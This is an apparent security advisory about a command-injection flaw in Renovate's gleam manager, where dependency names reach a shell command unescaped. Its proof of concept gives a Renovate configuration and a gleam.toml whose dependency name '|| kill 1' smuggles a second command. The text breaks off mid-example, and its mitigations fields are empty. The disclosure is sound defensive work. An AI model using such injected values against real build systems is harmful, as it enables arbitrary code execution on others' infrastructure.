Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file
Date: 2026-01
Affected: npm/renovate
Attack vector: command-injection
Category: vulnerability-disclosure
Severity: Medium
CWE: CWE-77
CVSS: 6.7 (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

### Summary The user-provided string `depName` in the `gleam` manager is appended to the `gleam deps update` command without proper sanitization. ### Details Adversaries can provide a maliciously crafted `gleam.toml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. All values added to the `packagesToUpdate` variable in [lib/modules/manager/gleam/artifacts.ts](https://github.com/renovatebot/renovate/blob/e9cbd02865b1827f7e4269c05250a12ee2203a71/lib/modules/manager/gleam/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024. ### PoC 1. Create a git repo with the following content: `renovate.json5`: ```json5 { $schema: "https://docs.renovatebot.com/renovate-schema.json", customDatasources: { always: { defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json", transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'], }, }, packageRules: [ { // Target of the day matchManagers: ["gleam"], // Trick the manager in believing there's a new version overrideDatasource: "custom.always", }, ], } ``` `gleam.toml`: ```toml name = "renovate-aci-2" version = "0.0.1" [dependencies] "|| kill 1" = "0.1


Mitigations:

Architectural layers (MAESTRO):